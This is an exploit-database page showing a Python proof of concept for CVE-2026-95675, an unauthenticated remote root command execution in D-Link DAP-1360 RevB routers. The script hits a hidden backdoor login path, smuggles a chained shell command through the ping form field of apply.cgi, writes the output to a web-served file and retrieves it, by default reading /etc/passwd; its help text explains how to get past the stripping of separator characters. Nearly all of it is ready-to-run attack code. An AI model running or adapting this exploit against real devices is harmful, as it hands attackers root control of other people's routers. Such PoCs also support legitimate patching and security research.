Exploit databaseDownload repository ZIP
GH-2fe280e340f49b09f7b546c1daa7e3b3
d6fault/cve-2026-95675
Sources for CVE-2026-95675
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files3
d6fault/cve-2026-95675Revision de9be9709546
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
autopoc.py
Suggested starting filePython · 2,623 bytes#!/usr/bin/env python3
"""
CVE-2026-95675 - D-Link DAP-1360 RevB (<= 6.14, tested 2.14B05)
Unauthenticated remote root command execution.
"""
import argparse
import sys
import urllib.error
import urllib.parse
import urllib.request
BACKDOOR_PATH = "dEfWzDLOgIn"
CGI = "/apply.cgi?formSystemCheck"
OUT_NAME = "RCE.htm"
DEFAULT_CMD = "cat /etc/passwd"
def http(url, data=None, timeout=10):
req = urllib.request.Request(url, data=data)
if data is not None:
req.add_header("Content-Type", "application/x-www-form-urlencoded")
try:
with urllib.request.urlopen(req, timeout=timeout) as r:
return r.status, r.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
def exploit(target, cmd, timeout=10):
if not target.startswith("http"):
target = "http://" + target
target = target.rstrip("/")
try:
status, _ = http(f"{target}/{BACKDOOR_PATH}", timeout=timeout)
except Exception as e:
print(f"[-] backdoor request failed: {e}", file=sys.stderr)
return None
print(f"[*] GET /{BACKDOOR_PATH} -> {status} (login slot flagged)")
value = f"127.0.0.1 -c 1 && {cmd} > /www/{OUT_NAME} && x"
enc = urllib.parse.quote(value, safe="")
body = f"ping_type=v4&ipv4_ping={enc}&submit-url=/x.htm".encode()
try:
status, _ = http(f"{target}{CGI}", data=body, timeout=timeout)
except Exception as e:
print(f"[-] injection request failed: {e}", file=sys.stderr)
return None
print(f"[*] POST {CGI} -> {status}")
try:
status, out = http(f"{target}/{OUT_NAME}", timeout=timeout)
except Exception as e:
print(f"[-] fetch failed: {e}", file=sys.stderr)
return None
return out.decode(errors="replace")
def main():
ap = argparse.ArgumentParser(description="CVE-2026-95675 DAP-1360 RevB pre-auth root RCE PoC")
ap.add_argument("target", help="target host/IP (e.g. 192.168.0.50)")
ap.add_argument("command", nargs="?", default=DEFAULT_CMD,
help=f"root command to run (default: {DEFAULT_CMD!r}); "
"use && not ;/| (those are stripped)")
args = ap.parse_args()
print(f"[*] target : {args.target}")
print(f"[*] command : {args.command}")
out = exploit(args.target, args.command)
if out is None:
print("[-] exploit failed", file=sys.stderr)
sys.exit(1)
print(f"[+] output ({OUT_NAME}):")
print("-" * 60)
sys.stdout.write(out)
if not out.endswith("\n"):
print()
print("-" * 60)
if __name__ == "__main__":
main()